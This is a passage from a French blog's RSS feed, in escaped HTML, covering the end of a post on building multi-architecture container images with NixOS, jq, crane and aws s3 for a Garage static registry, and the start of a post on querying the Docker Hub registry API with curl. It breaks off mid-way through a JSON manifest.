            &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;architecture&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;arm&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;linux&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;variant&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;v5&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;
         &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;
   &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;L’autre option, c’est d’aller voir la specification OCI sur &lt;a href=&quot;https://github.com/opencontainers/image-spec/blob/main/image-index.md&quot;&gt;les index d’images&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;À noter que vu qu’on est passé sur de l’OCI, notre mediaType est celui de OCI (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vnd.oci.image.manifest.v1+json&lt;/code&gt;) et non celui de Docker ( &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;application/vnd.docker.distribution.manifest.v2+json&lt;/code&gt;), on peut s’en apercevoir en allant regarder l’index de nos images, exemple avec &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/oci/amd64/index.json&lt;/code&gt; :&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;schemaVersion&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;manifests&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;mediaType&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;application/vnd.oci.image.manifest.v1+json&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;digest&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;sha256:bc16dc0ab502dedbce06f16f51d46f7027271e20a378c7f2821bf5e000197523&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;size&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;405&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;En réalité, il nous faut simplement fusionner ces 4 fichiers d’index et les tagger avec la platform qui va bien ! Dans cet exemple, je vais le faire plus ou moins à la main avec &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jq&lt;/code&gt; :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;jq &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;
{
  schemaVersion: 2, 
  mediaType: &quot;application/vnd.oci.image.index.v1+json&quot;, 
  manifests: (
    [.[0].manifests[0] | .platform = { architecture:&quot;amd64&quot;, os:&quot;linux&quot; }] + 
    [.[1].manifests[0] | .platform = { architecture:&quot;arm64&quot;, os:&quot;linux&quot; }] + 
    [.[2].manifests[0] | .platform = { architecture:&quot;arm&quot;, os:&quot;linux&quot; }] + 
    [.[3].manifests[0] | .platform = { architecture:&quot;386&quot;, os:&quot;linux&quot; }]
)}&apos;&lt;/span&gt; amd64/index.json arm64/index.json arm/index.json 386/index.json
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Et voilà, notre image multi-arch devrait être prête !&lt;/p&gt;

&lt;h2 id=&quot;envoyer-notre-image-sur-le-docker-hub&quot;&gt;Envoyer notre image sur le Docker Hub&lt;/h2&gt;

&lt;p&gt;Encore une fois, on ne veut toujours pas utiliser de daemon Docker. On va utiliser plutôt à la place &lt;a href=&quot;https://github.com/google/go-containerregistry/tree/main/cmd/crane&quot;&gt;crane&lt;/a&gt;, un outil développé par Google. C’est pas plus compliqué que de lancer cette commande :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;crane push &lt;span class=&quot;nt&quot;&gt;--index&lt;/span&gt; /tmp/oci/multi/ dxflrs/albatros:d9facbb79c4551d90359c46b9f5d485c1503253a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On peut ensuite vérifier que notre image multi architecture est bien référencée sur le Docker Hub :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/20230411_15h42m05s_grim.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Et la récupérer avec un simple docker pull :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker pull dxflrs/albatros:d9facbb79c4551d90359c46b9f5d485c1503253a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;envoyer-notre-image-sur-notre-registre-garage&quot;&gt;Envoyer notre image sur notre registre Garage&lt;/h2&gt;

&lt;p&gt;Tout d’abord on commence par envoyer l’index :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;aws s3 &lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--content-type&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;application/vnd.oci.image.index.v1+json&apos;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  index.json &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  s3://registry.deuxfleurs.org/v2/albatros/manifests/0.9
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ensuite on envoie les manifests de chacune des images référencées dans l’index :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;m &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;jq &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;.manifests[] | .digest&apos;&lt;/span&gt; index.json&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do 
  &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$m&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-Po&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;[0-9a-f]+$&apos;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;
  aws s3 &lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;--content-type&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;application/vnd.oci.image.manifest.v1+json&apos;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
    /tmp/oci/multi/blobs/sha256/&lt;span class=&quot;nv&quot;&gt;$f&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
    s3://registry.deuxfleurs.org/v2/albatros/manifests/&lt;span class=&quot;nv&quot;&gt;$m&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ensuite on envoie les blobs :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;m &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;jq &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;.manifests[] | .digest&apos;&lt;/span&gt; index.json&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do 
  &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$m&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-Po&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;[0-9a-f]+$&apos;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;blob &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;jq &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;[ .config.digest ] + [ .layers[] | .digest ] | join(&quot; &quot;)&apos;&lt;/span&gt; /tmp/oci/multi/blobs/sha256/&lt;span class=&quot;nv&quot;&gt;$f&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do 
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;bf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$blob&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-Po&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;[0-9a-f]+$&apos;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;
    aws s3 &lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; /tmp/oci/multi/blobs/sha256/&lt;span class=&quot;nv&quot;&gt;$bf&lt;/span&gt; s3://registry.deuxfleurs.org/v2/albatros/blobs/&lt;span class=&quot;nv&quot;&gt;$blob&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;done
done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Et voilà, on peut tester notre nouveau registre :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker pull registry.deuxfleurs.org/albatros:0.9
docker run &lt;span class=&quot;nt&quot;&gt;--rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;ALBATROS_URL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;x&quot;&lt;/span&gt; registry.deuxfleurs.org/albatros:0.9
&lt;span class=&quot;c&quot;&gt;# 2023/04/11 14:40:08 Albatros public URL: x&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# 2023/04/11 14:40:08 Use Nomad default configuration&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# 2023/04/11 14:40:08 Use Consul default configuration&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# 2023/04/11 14:40:08 Albatros listen on :8080&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On peut aussi vérifier que skopeo est content avec notre registre :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; /tmp/discard
skopeo &lt;span class=&quot;nt&quot;&gt;--insecure-policy&lt;/span&gt; copy &lt;span class=&quot;nt&quot;&gt;--all&lt;/span&gt; docker://registry.deuxfleurs.org/albatros:0.9 oci:/tmp/discard/
&lt;span class=&quot;c&quot;&gt;# inspectez le contenu de /tmp/discard&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;petite-réflexion-sur-ce-quon-vient-de-faire&quot;&gt;Petite réflexion sur ce qu’on vient de faire&lt;/h2&gt;

&lt;p&gt;On a vu comment construire plusieurs images Docker simples avec NixOS, une pour chaque plateforme qu’on supporte. Ensuite on a vu comment les manipuler au format OCI pour les fusionner et créer une image multiarch. Enfin, on a vu comment l’envoyer sur le hub Docker avec crane et sur notre registre statique. Aucune de ces opérations n’a nécessité d’élévation de privilège, ni le daemon Docker, ni même Docker tout court.&lt;/p&gt;

&lt;p&gt;Bien entendu, si j’ai semi-automatisé les opérations avec des scripts bash, il reste que cette opération reste encore quelque peu fastidieuse. Il ne devrait pas être trop compliqué de porter ces différents bouts de bash vers un binaire Go qui se chargerait alors de l’envoi de ces images.&lt;/p&gt;

&lt;p&gt;Reste la question du périmètre de ce binaire : est-ce qu’il doit supporter le hub docker et mon registre statique ? est-ce qu’il doit être possible de supprimer une image ? est-ce qu’il doit supporter les binaires statiques aussi ? est-ce qu’il doit faire une garbage collection automatique, et si oui, selon quelles règles ? est-il bien judicieux de générer une archive docker depuis NixOS pour ensuite la convertir en OCI, puis manipuler cette image, avant de l’envoyer, ou alors mieux vaudrait réaliser le plus possible ces tâches au sein de NixOS ? Est-ce que NixOS ne devrait pas générer notre image multarch ?&lt;/p&gt;

&lt;p&gt;C’est donc sur d’avantage de questions que de réponses que je conclue ce billet de blog, à votre tour de faire de la magie avec les conteneurs !&lt;/p&gt;
</description>
        <pubDate>Tue, 11 Apr 2023 10:51:40 +0200</pubDate>
        <link>https://quentin.dufour.io/blog/2023-04-11/fabriquer-des-conteneurs-l%C3%A9gers-depuis-une-ci-cd/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2023-04-11/fabriquer-des-conteneurs-l%C3%A9gers-depuis-une-ci-cd/</guid>
      </item>
    
    
    
      <item>
        <title>Un registre statique Docker avec Garage</title>
        
        <description>&lt;p&gt;Dans ce petite article, je vais vous montrer rapidement comment monter votre registre Docker avec Garage seulement. En effet, un registre Docker n’est rien d’autre qu’une spécification par dessus HTTP, et il apparait que Garage supporte pile poil le bon sous ensemble pour la distribution (c’est à dire le téléchargement). Reste à réaliser l’envoi à la main, et c’est ce que nous allons détailler ici ! Et pour faire les choses bien, on va prendre l’exemple d’une image multi-arch, qui est un poil plus complexe.&lt;/p&gt;

&lt;p&gt;L’idée, c’est qu’à la fin de ce tuto, vous puissiez faire quelque chose comme ça, mais avec votre propre domaine !&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker run &lt;span class=&quot;nt&quot;&gt;--rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; quentin.dufour.io/garage:v0.8.2 /garage &lt;span class=&quot;nb&quot;&gt;help&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;inspecter-un-peu-le-registre-docker&quot;&gt;Inspecter un peu le registre Docker&lt;/h2&gt;

&lt;p&gt;Pour requêter le registre docker, on a besoin d’un token même en tant qu’utilisateur anonyme. Sinon on a une 401 :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ curl -i &apos;https://registry.docker.com/v2/dxflrs/garage/manifests/v0.8.2&apos;
HTTP/1.1 401 Unauthorized
content-type: application/json
docker-distribution-api-version: registry/2.0
www-authenticate: Bearer realm=&quot;https://auth.ipv6.docker.com/token&quot;,service=&quot;registry.docker.io&quot;,scope=&quot;repository:dxflrs/garage:pull&quot;
date: Thu, 06 Apr 2023 14:55:10 GMT
content-length: 156
strict-transport-security: max-age=31536000
docker-ratelimit-source: 2a01:e0a:28f:5e60::

{&quot;errors&quot;:[{&quot;code&quot;:&quot;UNAUTHORIZED&quot;,&quot;message&quot;:&quot;authentication required&quot;,&quot;detail&quot;:[{&quot;Type&quot;:&quot;repository&quot;,&quot;Class&quot;:&quot;&quot;,&quot;Name&quot;:&quot;dxflrs/garage&quot;,&quot;Action&quot;:&quot;pull&quot;}]}]}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;La 401 nous donne toutes les informations pour récupérer notre token :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; curl &lt;span class=&quot;nt&quot;&gt;-vvv&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;https://auth.ipv6.docker.com/token?service=registry.docker.io&amp;amp;scope=repository:dxflrs/garage:pull&apos;&lt;/span&gt;|jq
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On peut ensuite construire notre fichier d’en-tête &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;headers.txt&lt;/code&gt; qui contiendra l’authorisation et l’information qu’on est un client Docker moderne :&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;Accept&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;application/vnd.docker.distribution.manifest.list.v2+json&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Authorization&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Bearer eyJh...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Et puis on peut l’utiliser avec curl pour récupérer le manifest multi arch :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl -H @headers.txt &apos;https://registry.docker.com/v2/dxflrs/garage/manifests/v0.8.2&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On y retrouve alors la déclaration des 4 architectures supportées :&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;schemaVersion&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;mediaType&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;application/vnd.docker.distribution.manifest.list.v2+json&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;manifests&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;mediaType&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;application/vnd.docker.distribution.manifest.v2+json&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;size&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;428&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;digest&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;sha256:236604ea7a441f907d52129d9490fe96b64ef2efd8d4b1c1c50ef8dbae361a8e&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;platform&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;architecture&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;arm64&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;os&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;linux&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;mediaType&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;application/vnd.docker.distribution.manifest.v2+json&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;size&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;428&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;digest&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;sha256:73a20980fd232dc7acd51d21df6c7c9964bc7c5fbcfdc098b95cfd221bf67bf6&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;platform&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
